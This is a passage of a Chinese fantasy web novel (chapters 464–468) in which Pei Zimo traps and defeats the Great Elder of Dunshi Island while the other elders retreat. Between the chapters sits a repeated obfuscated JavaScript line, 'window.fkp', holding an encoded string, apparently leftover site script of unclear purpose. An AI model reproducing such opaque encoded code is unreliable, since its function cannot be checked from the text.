凌锦枫不可能在裴子墨的身上占到便宜,但是他只要对裴子墨动手,裴子墨这一次总不会还是无动于衷吧? 鬼卿发现裴子衿离府,先是跟了一段,发现她一路往城外走,显然是跑路了,便回来找裴子墨。 哪知道走到门外就听见房间里有声音,他知道凌锦枫没走,心里一惊,赶紧推开门,就见到裴子墨坐在桌边,背对着床铺喝茶。 而床铺上,凌锦枫正抱着被子做着很……不雅的动作。 他轻咳一声,收回目光,开口道,“裴子衿跑了。” “嗯。”裴子墨点点头,表示自己已经知道了,“就知道她肚子里装着坏水,做事也不动动脑子,把别人都当傻子。” “裴子墨,我是不是比凌锦夜强?我是不是比凌锦夜强?”凌锦枫抓着被子用力地摇晃着,“怎么你们一个个的眼里都是凌锦夜!我哪里不如他?我到底哪里不如他?裴子衿这个小贱人,在我的床上还叫着凌锦夜的名字,你呢,你怎么不叫?” 鬼卿闻言脸色一冷,抬手就要对凌锦枫下手,却被裴子墨抬手制止。 “心里装着凌锦夜又怎么样?还不是成了我的女人?我一定要亲手杀了凌锦夜,让你们都看看,我是他哥哥!我就是比他强!” “哈哈哈,凌锦夜有的,我全都有,他没有的,我现在也都有了!裴子墨,你放心,你既然做了我的女人,我就会在长老们面前帮你求求情,让他们网开一面,留你一条命,只要你以后好好伺候我,别像裴子衿一样,虚与委蛇的跟我在一起,心里不知道打着什么鬼主意,我就肯定会对你好的!” “她还以为自己伪装得挺好么?以为我看不出来么?没关系,我就陪着她演戏,但她就是我的人,谁也改变不了!” “只不过啊,裴子墨,这事也得有个先来后到,她以前叫你姐姐,以后你恐怕得管她叫姐姐了呢!” “这怎么处理?”鬼卿实在是听不下去了,忍不住开口问道。 “一个小丑,需要我们处理什么?”裴子墨说着站起来,往外面走,“狗咬狗才好看。” 鬼卿转头眯眼看着凌锦枫一眼,跟着裴子墨出了门。 * 大长老他们带的东西多,赶路自然慢一些,况且大长老觉得一切尽在掌握之中,只要他出手,裴子墨不可能逃得出他的掌心,他走得慢一些,也不过是让裴子墨多活些日子而已,所以他根本就不着急。 他们到了复州,甚至纡尊降贵地给白风御送去了拜帖。 白风御倒也没有推辞,就和他们在约好的酒楼见了面。 一见面,白风御就当先发难,指责上次裴子轩和裴子衿来搞出来的事,掳走了肃亲王不说,还杀了天风国的百姓,幸好肃亲王机智,自行逃了出来,可那十个百姓就没这么幸运了,无辜丧了命。 甚至于天风国历经几代、四处收集奇珍异宝打造的驿馆,就这么被祸害了,以后还怎么让来访使者住在这么晦气的地方? 大长老不屑于说话,还是二长老开了口,先是给了一大箱子金银珠宝和一些罕见的玩意儿,说是补偿这驿馆的损失,若是不够,让白风御再开口。随即又说裴子衿闹出的乱子,他们一定会处理,让白风御不要担心。 白风御见到这一大箱子珠宝其实眼睛就已经直了,驿馆的损失他也就是随便说说,反正来访的使者也不可能知道这驿馆里发生的事情,到时候该住就住呗,不过送上门来的赔偿,没有不要的道理。 他轻咳了一声,转身对身边的随从交待了声,让他去一一核对损失,表明也不愿意占对方便宜,多退少补就是。 随从当然明白白风御的意思,怎么可能退呢?不再补一些就已经是开恩了。 说完这个,二长老才又开口问,“要解决那阵法带来的麻烦,也不难,但是也需要你帮个忙,告诉我们几个位置。” 白风御听对方提起了这个,才轻笑一声,“我可听说你们都是海外仙人,有什么地方是需要向我打听的?” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第464章 卦象显示大凶 二长老轻轻皱了一下眉头,他其实本来也不屑于跟白风御谈这些事,只不过大长老不说话,只能他来说。 而且这龙气聚藏之地虽然好找,可裴子墨已经在天风国这么久,若是想要做点手脚也很容易,假设要是他们被蒙蔽,找错了地方,那后果就会很严重了。 二长老的手指轻轻敲了下桌子,白风御下意识地看了一眼他的手指,随即便有一阵恍惚。 “多谢。”二长老开口道,显然已经知道了自己想知道的事情。 白风御拧了下眉,冷着脸问道,“你们对我做了什么?” “放心,对你不会有什么伤害。”二长老说着站起身,“你既然已经出来了,最近就没有必要回盛京,我们答应你的事,一定会办。”说完也不等白风御再说什么,几人就立刻起身离开了。 白风御看着他们离开的背影,轻轻地眯了眯眼,不就是会点法术,有什么可目中无人的?真希望裴子墨早点把他们都解决掉,就算解决不掉,也锉锉他们的锐气,让他们以后夹紧尾巴做人。 * 大长老等人从复州出发,上了马车,他又忍不住问了一遍萧南曦,最近可预见了什么。 萧南曦也有些拿不准了,甚至有些分辨不清楚自己看到的画面到底是真的还是假的,吱唔了半天,才低声道,“我好像看到……凌锦枫跟裴子墨在一起。” 听到这个,凌霄的眉心狠狠地一跳,“什么?” 大长老抬手掐算了一番,才冷声道,“哼,裴子衿和凌锦枫从遁世岛跑出来了。” “这个混账!”凌霄捶了一下座椅,顿了顿才又问,“可他跟裴子衿一起逃出来,又怎么会跟裴子墨在一起?” 大长老看了凌霄一眼,没说话,又看向萧南曦,“别的呢?” “别的有些变化。”萧南曦抿了抿唇,“我看到凌锦夜和裴子墨反目为仇了。” “哦?”大长老微微拧了下眉,“莫不是因为凌锦枫?” “这就不知道了。”萧南曦摇了摇头,“不过这些,跟我在遁世岛的时候看到的画面已经不一样了,以前……很少会出现这样的情况,我看到的事情,一般都会发生,更不会在短短的时间内就发生变化的。” 因为她这句话,马车里陷入了沉默。 隔了好一会,萧南曦才试探地问道,“不然……我们先回遁世岛从长计议吧,我总感觉哪里不太对劲。”她说着又轻声道,“我昨晚起了个卦,卦象显示大凶。” 对算卦的事,萧南曦也不敢太过咬死了,因为她算卦的本事没有那么高,可简单的算吉凶这种,她自认为问题不太大,这么多年,她偶尔算算吉凶,也就当个参考。 凌霄和二长老对视一眼,没有说话,上次见过九星灭仙阵以后,他们两个至今都还是有些后怕,庆幸当时最先找到裴子墨的是九长老,不然换了他们两个人中的任何一个,估计也不会比九长老的下场好到哪里。 裴子墨也说了,还有其他的九星灭仙阵在等着。 他们知道大长老术法比他们都高,虽然不知道他能不能扛过九星灭仙阵,但是他们自己肯定是扛不过的。 凌霄和二长老私下倒是没有商量过,但是心里也都默认了,等到时候见了裴子墨,他们可不能打头阵,就让大长老动手好了。 现在萧南曦这边又有这么多异常的事,他俩心里就更没谱了。 以前裴子墨多少还在掌控之中,可是现在一切好像都朝着不可控的方向发展了。 大长老却冷哼一声,“已经让裴子墨蹦跶这么多年了,我们也解决过她很多次了,就因为老九一时不慎,你们难道还怕她了不成?” 沉默了半响后,二长老才干笑一声,“也是,以前大哥从来都没有出手过,这次大哥亲自来,肯定不会有问题。咱们当然不能这么回去,老九的仇是一定要报的,不然……怎么跟老九的家人交代?” 九长老已死的事情,他们还没有告诉任何人,更没有告诉九长老的家人。 在遁世岛所有人的心里,他们这些长老是不死不灭的,如果他们知道九长老被裴子墨杀了,那岂不是说他们以前给自己塑造的形象都只是个传说? 到时候他们在遁世岛众人心中恐怕就要跌落神坛了。 “可……当年我们也想过把……那个人杀了,但是用过很多方法都没有成功,裴子墨却能做到这个……”萧南曦忍不住又道。 “老五!”大长老打断她的话,“你怎么净长他人志气灭自己威风?我让你出来是让你预测未来的,你现在自己出了问题,不想着怎么解决问题,就会说这些丧气话么?” 萧南曦见大长老生气了,顿时也不敢多说话了。 “大哥,老五也不是这个意思,总之咱们谨慎一点,肯定也没错。”二长老赶紧出言缓和。 大长老冷哼一声,转头看向窗外,没再说话。 他们赶到盛京皇宫的时候,整个皇宫,基本上就是空的,他们还没进去,就能清晰地感受到裴子墨的气息就在皇宫之中。 凌霄和二长老对视一眼,上次在楚江颠,裴子墨还把自己藏起来,这一次连藏都不藏了么?他们两个不约而同的默默向后退了一步,站在了大长老的身后。 他们以前什么都不怕,是真的认为自己受庇佑是不会死的,可九长老的死打破了这个信念,如今做事自然就多了一层担忧。 大长老眯眼往皇宫里面看了看,迈步就走了进去。 剩下的人,也就只能硬着头皮跟他往里面走。 裴子墨就在昭纯宫,这些天,整个昭纯宫废墟已经变成了平地,虽然以前有先皇的旨意,没人敢动昭纯宫,但现在裴子墨要动手,白风御也不敢拦,反正他也要离宫,就干脆当自己不知道。 在昭纯宫的平地上,有一个大铁架子,此刻九长老就被绑在那铁架子之上! 而裴子墨就站在铁架子之前,微微仰着头,饶有兴趣地看着架子上的人。 大长老微微一滞,一股怒火就冲上脑门,手也握成拳头,半响后,捏了个印诀就朝裴子墨打了过去! window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第465章 你看到的都是幻象 裴子墨抬起手,手里的量天尺轻松地化去了大长老的攻击。 大长老眯眼看着裴子墨手里随意转动的尺子,冷笑一声,“以为得到了仙器,就是遁世岛的对手了么?” 裴子墨微微侧过身,看向大长老,“怎么会呢?像这种仙器,我想遁世岛应该不缺吧?” 这话把大长老问得气息一滞,遁世岛法器无数,但仙器却只有两件,可这两件仙器,至今也不知道用法。 不知道用法的仙器,甚至不如一般的法器,以致于这么多年,从来没有人动过这两件仙器。 “裴子墨,我一再对你容忍,但没想到你做出这么大逆不道的事情,你也别怪我不念以往的师徒之情,对你下狠手了。”大长老又道。 裴子墨从他身上收回目光,“你若是不提,我差点忘了,你我还有师徒之情,那看在这一点点的师徒之情的份上,我劝你好好看看九长老。” 大长老听到他这话,才仔细地朝九长老看去,他看到九长老的时候,就见到他的身上有死气,当时便认为他是真的死了,不过这会才发现,九长老的身上还有极其微弱的气息,这死气并不是九长老身上的,而是他脚下的一个容器里散发出来的。 这个发现,让他心头掠过一丝狂喜。 这就证明,裴子墨确实没有办法杀死九长老,他们依旧是受庇佑的。 那裴子墨的九星灭仙阵就也没什么可怕的了。 凌霄和二长老的心里也跟着微微松了一口气。 只是萧南曦的脸色却更加凝重,她张了张嘴,想说什么,可想到之前大长老的话,又把嘴边的话咽了回去,然后默默的往后退了一步。 大长老倒是往前走了一步,但是又停了下来,裴子墨把九长老放在那,眼见着他还剩下一口气,他们不能不救,但显然九长老也就成了最好的诱饵,如果另外一个九星灭仙阵就在九长老的脚下,他们过去,势必就要落入阵法之中。 虽然可能和九长老一样死不了,但受了伤,就可能成为裴子墨的阶下囚。 大长老眯起眼睛,端详了一下周围,丝毫没有感受到阵法的气息。 他又摸出一张符纸,朝九长老的方向扔过去,符纸绕着九长老飞了一圈,最后安稳地落在地上,没有任何变化,这就证明,在九长老的周围,根本没有什么阵法。 若是真的有阵法,他倒是不意外,想办法破了或者逼裴子墨破了就是。 但是如今什么阵法都没有,大长老也吃不准了,裴子墨若是一点准备都没有,不可能就这么大喇喇地站在这。 他微微眯了眯眼,迈步就朝裴子墨走过去。 裴子墨不躲也不避,更没有什么动作,就这么看着他走过来。 等他马上就要走到裴子墨面前的时候,萧南曦突然大喊了一声,“大哥,小心!快往后退!” 可是她这话喊出来的时候,就已经晚了,大长老的一只脚已经陷进了阵法之中,危险的气息扑面而来,他想退也没办法退了,只能咬着牙,硬生生的承受着这伤害,抬手就向裴子墨打过去。 裴子墨手里的量天尺蓦地变大,直直地竖在她面前。 大长老一掌打在了量天尺上,顷刻间就受到了量天尺的反击,如果不是脚下被阵法困住,他此刻已经倒飞而出。 但也就因为脚下被困住,这所有的力量就全都由他的身体硬生生地承受住,他当即喉头一甜,一口血差点吐出来,又被他生生地咽了回去。 裴子墨笑着收起量天尺,“大长老,怎么样,我这法器还不错吧?你脚下的这个阵法,是另外一个九星灭仙阵,这里的魂魄,都是你们的后人,跟你们多少也算血脉相连,发动起来,威力只会更大。不过啊,这九星灭仙阵有一个特点,就是你如果不试图挣扎的话,它其实是不会攻击你的,倒更像是一个困阵。” “这话我也告诉九长老了,可他不信邪,就是认为自己能从阵法里突围出来,结果把自己折腾成这副模样。” 大长老拧起眉,转头看向二长老等人,“你们是死的么?还不动手?” 二长老和凌霄咬了咬牙,大长老发了话,他们也不敢不听,好在还不等他们动手,萧南曦就开了口。 “这不是九星灭仙阵,真正的九星灭仙阵在地下,大哥,你脚下就是个隐匿了阵法气息的困阵。”她说着看向裴子墨,“她在诈我们,我看到了!” 裴子墨往后退了几步,轻笑了一声,“五长老,我在外面找到了一个你的后人,你这后人的资质奇高,甚至你们一脉只有女子才能习得的幻术,他都学会了。从你离开遁世岛开始,看到的啊,就都是他给你设置的幻境,我想你应该也不知道,你们这一脉,男子习得幻术之后,会有这么大的威力,是可以改变其他人预见未来的景象的吧?” 萧南曦根本不信裴子墨说的话,她这一脉是她所创,没有人比她更清楚他们萧家的事情,男子怎么可能习得幻术?又怎么可能有人可以随意改变其他人预见的景象? “不信?”裴子墨笑了笑,“反正咱们今天时间多得很,你不信的话,就慢慢看一会。” 萧南曦预见的景象不知道真假,大长老一时之间也不敢动,他低头看着自己周围的阵法,像是有些东西不太明白。 凌霄和二长老没有靠近裴子墨,反倒是走到大长老旁边,试图把他从阵法里救出来。 裴子墨就站在一边,淡淡地看着他们的动作。 半响之后,大长老终于从阵法上看出了端倪,他满脸的震惊,看着裴子墨惊呼道,“不可能!不可能!是谁教你修习魂魄之术的?” “有什么规定是说,只有你自己能修习魂魄之术么?”裴子墨看着他笑道,“你们兄弟几人关系这么好,你自己摸到了修习魂魄之术的门径,却不肯把这法门交给其他人,反倒是用这方式控制着身边的所有人,你在他们的魂魄上打下一个又一个印记,让所有人都受你的差遣,你就没想过,这世上也会有别人同样能修习魂魄之术么?甚至……造诣可能早就在你之上呢。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第466章 看谁不顺眼就揍谁 大长老眯眼看着裴子墨,不会魂魄之术,就只能靠术法来控制魂魄,但术法总会被人发现,也会被人破解。 可修习了魂魄之术就不一样了,他可以用自己的魂魄之力,去攻击别人。没有经过修习的魂魄,在他面前,就像是一个小婴儿一样。 这无数年间,他见过无数的天才,但却从未有一人能够像他一样,摸索到修习魂魄的法子。 所以这些年他从不把任何人放在眼里,也不过是因为这魂魄之术让他觉得其他人的死活其实都在他的一念之间。 只不过他修习魂魄之术,都是靠自己摸索,根本没有任何外力的指点,即便会了一些,也都很粗略。 若是对方修习魂魄之术有方法,并且很系统的去学习,那自然就是在他之上。 这魂魄之力,完完全全是比强大和弱小,对方修习的程度高,那他在对方眼里,恐怕也就是像个小孩子。 心念电转,但他也绝对不相信裴子墨能摸到修习魂魄的门槛。 想到这,他微微冷静了下来,目光从裴子墨的身上移开,转头看向周围,“既然有高人在这里,那就没必要躲躲藏藏了,不如出来一见。” 他这话音落下半响,裴子墨身后不远处才凭空出现了一个老和尚。 老和尚老神在在的站在那,也不理会大长老,只是看着裴子墨冷哼了一声,“就说了让你拜我为师,你不拜,你看人家立马发现这阵法不是你设置的。” “那又如何?”裴子墨转头看了老和尚一眼,“谁设置的阵法有什么关系?只要困住他,不就行了么?” 大长老打量着老和尚,这老和尚看上去普普通通,身上甚至一点术法波动的气息都没有,如果在路上预见,他也就认为他是个普通人而已,可眼下他心里清楚,这老和尚怎么可能是个普通人? 沉默了好一会,他才对着老和尚一拱手,“大师,你恐怕有所不知,这裴子墨是我们遁世岛的人,她多年之前叛出遁世岛,杀了不少遁世岛无辜之人,我身为遁世岛的大长老,自然不能袖手旁观,这毕竟是我们遁世岛的家事,还望大师不要插手。” 自认为自己已经是这世上顶尖的存在,大长老这么多年对任何人都是趾高气昂,已经很久没有这么“和善”的对人说过话了。 老和尚冷哼一声,对大长老的示好也不领情,“我对你们遁世岛的事不感兴趣,你也不用给我讲这些故事,反正老和尚我看谁顺眼我就帮谁,看谁不顺眼我就揍谁,比如……我今天就看你挺不顺眼的。” 大长老神色一凛,没想到自己已经这样低声下气地说话,对方却不识抬举,他眯了眯眼,“如此说来,你也是要和遁世岛作对了?” 老和尚用手指掏了掏耳朵,“你是听不懂我说话么?”他说着摇了摇头,“没兴趣。” 大长老也没再跟老和尚说话,双手握成拳,片刻后,硬生生地冲破了阵法的束缚,也完全不理会嘴角流出的血,抬手就朝裴子墨抓过来。 裴子墨没有躲,她如今确实不是大长老的对手,他全力一击,她根本躲不过去。 大长老的指尖都已经碰到了裴子墨的脖颈,却突然大叫一声,收回手,抱着脑袋倒在了地上,他痛苦地滚来滚去,连句完整的话都说不出来。 二长老犹豫了片刻,才走过去,跟凌霄一起按住大长老,可却根本不知道他哪里受伤,也根本不知道该怎么办。 “裴子墨,你现在收手,也放了九长老,我们这就回遁世岛,只要你不再跟遁世岛作对,从此后都不会再找你的麻烦。”二长老见大长老疼得全身抽搐,甚至翻了白眼,心下一片冰凉,大长老尚且不是对手,他们更不可能有还击之力。 裴子墨轻笑一声,“你能做得了这个主么?” 二长老轻轻皱了一下眉头,这么多年,他自然了解大长老的脾气秉性,他今天吃了亏,是一定会记在心里,总有一天会把吃的亏讨回来。 显然今天伤害到大长老的是这个老和尚,但这老和尚不可能一直保护裴子墨,但凡给大长老留下一点机会,他绝对是会来找裴子墨撒气的。 见二长老有些迟疑,裴子墨自然明白他在想什么,“不过我倒是有个想法,只要你成了遁世岛的大长老,你自然就能做主了。” 二长老一惊,“你说什么混账话?” “我只是在陈述一个事实。”裴子墨收起笑容,“今天大长老别想走,你们也别想带走九长老。”顿了顿,她又补充,“其实我从来没想过让你们任何人死,我和你们作对,你们想要压制我,这都很正常,但是我以前没有杀过无辜的人,是你们……不给我的孩子一条生路。” “你们也明明可以在他尚未成型的时候,杀了我们,可偏偏等我生了下来,才杀了他,又把他的魂魄封印折磨这么多年。” “杀了孩子的是九长老,折磨魂魄的是大长老,冤有头债有主,这件事我也不牵扯任何其他的人,你们现在离开,以后该怎么样继续怎么样,我也不会再因为孩子的事情,找你们麻烦。” 二长老抿了抿唇,想要说什么,但此刻话语权也不掌控在他的手上,况且遁世岛的事,只要有大长老在,确实也轮不到他做主,他低头看了看大长老,大长老这会疼的估摸着也根本听不见裴子墨在说什么了。 裴子墨又看向凌霄,“其实我也知道,你们十个人没那么同心,这孩子可毕竟是你的孙子,凌家本就血脉稀少,你就算不顾念别的,也该顾念下血脉亲情,不是说……隔代亲的么?” 凌霄皱起眉头,虽然裴子墨说的是血脉亲情,可他知道,她说的根本不是这个。如今大长老和九长老都要折在这了,遁世岛以后在裴子墨的眼里根本构不成什么威胁,若是他就此罢手,以后她念在他是凌锦夜的爹,是这孩子的爷爷的份上,也能放他一条生路。 可他若是不顾念这亲情,那她以后就也没必要顾念了。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第467章 伪仙 凌霄收回目光,没有说话。 裴子墨见他也明白自己的意思了,就没再说话。 只是这个决定,谁都不肯做出来。 隔了半响,萧南曦才上前了一步,蹲在二长老和凌霄旁边,低声道,“我们不是对手,还是先回去从长计议,不然带不走大哥和老九,我们自己也会搭在这……遁世岛不能一下子折了五个长老。” 她说完,又把声音压得极低极低,“二哥,你想想三哥,若是咱们都回不去,遁世岛落在他手里……” 听到这个,二长老眉心狠狠地一跳,三长老便是“神阵公”,当年他们设置好瘟神蜮,上次来的时候,那裴姝的手上,有瘟神蜮的布置图,这布置图应该是从裴子墨的手上流传出来的,可最初……显然应该是‘神阵公’交给裴子墨的。 一开始设置瘟神蜮的时候,“神算公”反对,“神阵公”虽然没说话,但大概也是不怎么同意的。 而且这些年,“神阵公”的后人在外面也有不少小动作,只不过无伤大雅,他们也没想过再启用瘟神蜮,因此也就没在意这些。 可如果他们都回不去,遁世岛做主的人成了三长老,那他要做的第一件事,估摸着就是彻底解决所有的瘟神蜮,随后……说不定就要放出“神算公”,然后跟裴子墨走到一起了。 想到这种可能性,二长老当即收回了扶着大长老的手,站起身,后退了几步。 裴子墨勾唇看着他,“二长老确实……识时务。” 凌霄见状,便也跟着二长老退开。 “裴子墨,我刚才说的话,你可答应?以后你别再找遁世岛的麻烦,我们也不会再来找你,从此相安无事。”二长老又问了一遍。 裴子墨听他再这么问,就知道他是想开了,打算放弃大长老,自己成为遁世岛的主事人了,她轻笑了一声,“你还没明白我在说什么么?针对大长老和九长老的事,跟其他人的事都没关系,这是我的私仇。至于要不要跟遁世岛作对……你说我这么多年都在做什么?” “如果你真的想要相安无事,那你们就应该解散遁世岛,回到这人世间,过普通人的生活,也别再试图改变任何人的人生轨迹,别再插手这世上所有事情的运行规则。这世上……不需要你们这样的‘伪仙’。” 二长老沉默了一会,显然对此并不愿意放弃,于是便只是道,“那今天的事,就到此为止。”说完转头看向凌霄和萧南曦,“走。” 凌霄也没再说话,转身便要跟着离开,但萧南曦却在原地站了半响,才低声,“二哥,我有几句话想问她。” 说完也不等二长老说话,就往前走了几步,停在裴子墨面前,“我想知道,你刚才说的,是真是假?” “我骗你对我有什么好处?”裴子墨看着她反问。 萧南曦沉默了半响,“那这个人在哪?我能见见他么?” 裴子墨摇了摇头,顿了顿才说,“如果你和遁世岛没有任何关系,我倒是可以考虑。” 萧南曦垂下眼,低声喃喃地道,“如果真是这样,遁世岛存在的意义是什么?” 她这句话的声音极低,只有她自己和裴子墨才能听清。 说完这句,她轻轻地摇了摇头,没再问什么,转身要走。 “不过你要是一直呆在遁世岛,那里有你们设下的阵法护佑,你应该就不会再受幻象影响,依旧能预见未来。”裴子墨看着她又道。 “那岂不是说,我要永远困在遁世岛,才能使用自己的能力,一旦离开遁世岛,我这能力就一点用都没有了么?”萧南曦轻声道。 “难道你现在没有被永远困在遁世岛么?”裴子墨笑道。 萧南曦身体微微震了一下,转头看向裴子墨,眼底像是有什么东西在逐渐碎裂。 好半天,她才收回目光,跟着二长老和凌霄向外面走,只不过离开的步伐,显然是慢了不少。 “真是好一招攻心。”老和尚往前走了一步开口道。 “那也确实是因为他们之间,多少还存在着互相猜忌。本来可能兄弟感情还不错,但是资源有限,当掌握话语权的人不断的把有限的资源倾斜给自己的族人,其他人心里就会开始不平衡。” “而‘神算公’的下场,也是悬在他们每个人头上的一柄利剑,他们都知道,一旦他们忤逆了大长老的意思,他们就会和‘神算公’一样,‘神算公’永永远远的提醒着他们,一定要服从大长老的命令。” “这样一来,互相之间还有多少信任呢?” 裴子墨轻笑了一声,“现在遁世岛再也没有大长老了,他们恐怕要内乱一阵子,我又能轻松一段时间了。” 老和尚垂眼看了看大长老,“这要如何处理?” “我在这地下设置的阵法,就是给他准备的。他把我的孩子封印了那么多年,这滋味他也要自己好好尝一尝。”裴子墨眯了眯眼,隔了会才看向老和尚,“就麻烦大师帮我把人弄到阵法里面了。” “哼。”老和尚哼了一声,“你又不是我徒弟,我为什么要帮你?”说完这句,他才又道,“只不过他躺在这哼哼唧唧的乱叫实在吵得人心烦,老和尚我就是想要清静一会,你可别想多了。” 裴子墨倒也不在意老和尚说的话,等他把大长老送到阵法之中,她才从怀里拿出来一个小瓷瓶,“还有这个,希望大师帮忙去除封印。” 老和尚瞥了一眼,自然看得出来,这瓷瓶上的封印用了魂魄之力,裴子墨自己肯定是解不开的,他哼了一声,没说话,也没动。 沉默了片刻,裴子墨才说,“这孩子的魂魄纯净,从一出生就被封印在这里,偶尔被大长老的魂魄之力攻击折磨,但大长老又不会杀死他,以致于这么多年下来,他的魂魄之力应该相对比较强大,我想他也许已经能自行冲开这封印,只不过……再强大的力量,不知道如何使用,也不过就是一团垃圾……” “垃圾?什么垃圾?”老和尚当场就生气了。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第468章 她为什么非要这孩子有凌家的血脉? “不是么?”裴子墨反问,“不能用的东西,不就是垃圾么?” 老和尚一把把瓷瓶抢了过来,放在手里,视若珍宝,“这可是多少人求之不得的。” 裴子墨轻轻笑了笑,“大师,我给你找的这个徒弟怎么样?” 若不是用了这个借口,估摸着这老和尚这一次也不会来帮她。 老和尚听了又赶紧把瓷瓶还给裴子墨,“别以为我不知道你的小九九,你现在护不住这孩子,就想让他拜我为师,我收了他当徒弟,自然就得护着他。” 被老和尚说穿心思,裴子墨也没有不好意思,“确实,我仇家太多,明着的有遁世岛,暗里的背后放冷枪的,还不知道有多少。我有很多事要做,的确没办法一直护着这孩子。而且,这孩子在我身边,就成了我的软肋。” 老和尚轻轻叹了一口气,裴子墨资质甚好,如果能收她为徒,他当然是省心不少。 但裴子墨不肯拜他为师,并不是她傻,放着这么厉害的术法不学,而是她不想让他在她和遁世岛的恩怨中牵扯太深。 他偶尔帮帮她,没什么问题。 可一旦挂上了师徒之名,以后她的事情,他就再也不能袖手旁观。 收这孩子为徒,一是这孩子可塑性强,二是他和孩子都可以避免卷入到裴子墨这边的事情当中。 况且,这孩子的资质,也未必就比裴子墨差。 半响后,老和尚点点头,“我总不能收一个魂魄为徒,等这孩子生下来,我就来认徒弟。” “多谢大师。”裴子墨喜道。 老和尚挥了挥手,解去了瓷瓶上的封印,“行了,我今天也不算白来,总算是后继有人了,不过你可要尽快,我没那么多耐心一直等。” 裴子墨点点头,她当然也知道,最近其实就是最好的时间。 二长老他们刚赶回遁世岛,一时半会都不会再出现,只有这个空当是最安全的了。 * 二长老等人刚出了皇宫,就见到他们马车周围有个人鬼鬼祟祟的,他伸手一抓,便把那人抓到了面前。 凌锦枫跪跌在地上,“二长老,五长老,爹。” “你这混账东西。”凌霄冷哼一声。 “爹,我错了,是我受了裴子衿的迷惑,我以为……我以为我和她已经……已经那样了,甚至连婚事都定下了,就是一家人了。可她骗我出来,原来是为了找锦夜。人没找到,她嫌我没用,就把我一个人扔下跑了。”凌锦枫低着头,“我知道错了,我再也不敢了,爹,你们带我回去吧,怎么惩罚我都行。” “你还想回去!”凌霄瞪着他,“你可知道私自逃出遁世岛是什么下场?” “我知道。”凌锦枫吓得一缩脖子,“但就算死,也让我回了遁世岛再死,无论你们怎么惩罚我都行。可是爹,你只有我这一个儿子了……” “你……你这是在威胁我?”凌霄怒极反笑,“你恐怕还不知道,我已经找到了你大哥的转世,他现在就在遁世岛!” 凌锦枫确实没想到,锦成是凌霄上次回去的时候带回去的,回去之后就被凌霄找人看了起来,也没对任何人提起过。而凌锦枫之后就一直跟着裴子衿研究如何逃出遁世岛,自然也是不知道的。 他微微愣了下,又赶紧道,“爹,但是这些年,只有我在你身边,我一直最听你的话,我……” 二长老抬手打断这对父子的对话,开口问道,“锦枫,我问你,你和裴子墨之间,是怎么回事?” 他说着看了萧南曦一眼,之前萧南曦曾经预测过凌锦枫和裴子墨在一起,虽然裴子墨说萧南曦看到的可能是幻象,但这不正好证实一下么? 凌锦枫怔了一下,没想到二长老会提到这件事,他还以为是裴子墨说了什么,赶紧一个头磕在地上,额头死死地抵着地面,“二长老,我错了,但是这件事我也是受害者,我也不知道怎么回事,我和裴子墨就……” “我以前一直喜欢的,都是裴子衿,可我没想到她会这样对我,本来我已经死心了,我想着回遁世岛领罚,但不知道为什么我……我真的不是有心的,我一点都不喜欢裴子墨,我怎么可能主动跟她做什么?” 他低着头,也不敢抬起来,随便胡诌,“我想起来了,我们这次来,裴子衿就是想要找凌锦夜的,但是找了很久也没找到,裴子衿就提议说来找裴子墨,说他们两个一定会在一起。可我们来了之后,凌锦夜并不在,裴子墨也绝口不提,就连我们向其他人打听,其他人对凌锦夜这个名字也讳莫如深。” “不知道是不是他们两个之间闹了什么矛盾,所以……已经不在一起了。也许裴子墨对我做的事情,只是为了报复,她这个人报复心本来就很强。” 二长老轻叹了一口气,“这裴家的女人,想来心思缜密,你被她们骗,也确实不能怪你,先上马车,回去再说吧。”他说着对凌霄使了个眼色。 凌霄也没再说话。 等他们三个一起上了马车之后,二长老才低声道,“锦枫这孩子,我们看着长大的,从小性子软弱,应该不会撒谎。这么看来,他们确实是有办法扰乱老五看到的未来,但是也仅仅是扰乱而已,并不见得老五看到的,都不是真的。” “也就是说,有些画面的顺序可能不太对。之前是说凌锦夜因为裴子墨和锦枫的事,跟裴子墨闹掰。那现在看来,就是他们两个先闹掰了,才有裴子墨和锦枫的事。” 萧南曦皱了下眉,对二长老的推测不置可否。 “如今那孩子的魂魄在裴子墨手上,大长老也落入她手上,这孩子魂魄的封印解开是迟早的事。裴子墨如果和凌锦夜闹掰,她又希望这孩子有凌家的血脉,那锦枫此刻出现,自然就是最好的选择。”二长老继续推测道。 “你说的也不是没有道理。”凌霄点点头。 “她为什么非要这孩子有凌家的血脉?”萧南曦不理解。 